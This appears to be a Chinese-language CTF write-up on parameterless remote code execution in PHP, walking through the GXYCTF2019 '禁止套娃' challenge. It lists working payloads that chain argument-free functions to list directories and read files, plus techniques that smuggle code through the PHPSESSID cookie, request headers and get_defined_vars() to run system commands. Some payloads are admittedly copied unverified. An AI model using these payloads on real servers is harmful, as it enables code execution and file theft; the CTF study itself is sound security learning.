首先来看情境
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
eval($_GET['star']);
}
无参数rce就是限制我们传入的为不含参数的函数.就比如scandir()
是允许的,但是scandir('1')
就是不允许的.
相关函数介绍
scandir() //返回当前目录构成的数组
localeconv() //一个数组,第一个值为.,很重要
getcwd() //获取当前工作的目录,无需参数
dirname() //获取某文件工作的目录
array_flip() //交换数组的键和值,返回交换后的数组
array_rand() //随机从数组中取出一个值
array_reverse() //将数组内容翻转
strrev() //翻转字符串
chdir() //改变工作目录
eval();assert();system() //命令执行
highlight_file();show_source();readfile() //读文件
在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.
end() //指向最后一个元素并返回
reset() //指向第一个元素并返回
next() //指向下一个元素并返回
prev() //指向上一个元素并返回
current() //指向当前元素并返回
因此我们可以利用上面的这些函数拼接无参数RCE
比如通过下面的函数查看当前目录.
ls=var_dump(scandir(current(localeconv())));
利用scandir
以GXYCTF2019禁止套娃为例.
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
highlight_file(__FILE__);
?>
我们可以看到对伪协议进行了防护,只允许执行无参数函数,同时通过preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i'
限制了一些函数的执行.比如phpinfo(),getcwd()等
最终payload如下
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
解读:scandir(current(localeconv()))
就相当于ls命令,查看发现flag文件在倒数第二位,因此我们将数组颠倒,然后查看第二位的文件即可.
存在多个不同构造的paylaod如下(直接扒的别人博客的,没去验证)
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位.查看和读取根目录文件
利用http报文
PHPSESSID
我们首先将我们希望执行的命令进行bin2hex转化为16进制,如phpinfo();
对应的706870696e666f28293b.
然后我们通过eval(hex2bin(session_id(session_start())));
来获取PHPSESSID的值,然后将我们的706870696e666f28293b添加上去即可.
注意:这个Cookie在http报文中的位置是有说法的,不能随便放.
然而有的时候,这个hex2bin不能用,比如2被禁用,这个时候我们也可以直接去猜着读flag
readfile(session_id(session_start()));
getallheaders()
这是apache服务器下才能使用的一个函数.可以获得所有的请求头.我们可以在报文最后添加一个请求头,内容为恶意代码,然后传入
var_dump(end(getallheaders()));
get_defined_vars()
相较于上一个函数,这个函数更加的普遍,他会以下列顺序依次的返回数组$_GET-->$_POST-->$_COOKIE-->$_FILES
,其中的$_GET
等本身也是数组.
在确定有回显的情况下,我们可以通过下列方法去执行命令
a=eval(end(current(get_defined_vars())));&b=system('ls /');
标签:文件,GET,getcwd,参数,数组,rce,array,scandir
From: https://www.cnblogs.com/merak-lbz/p/18327166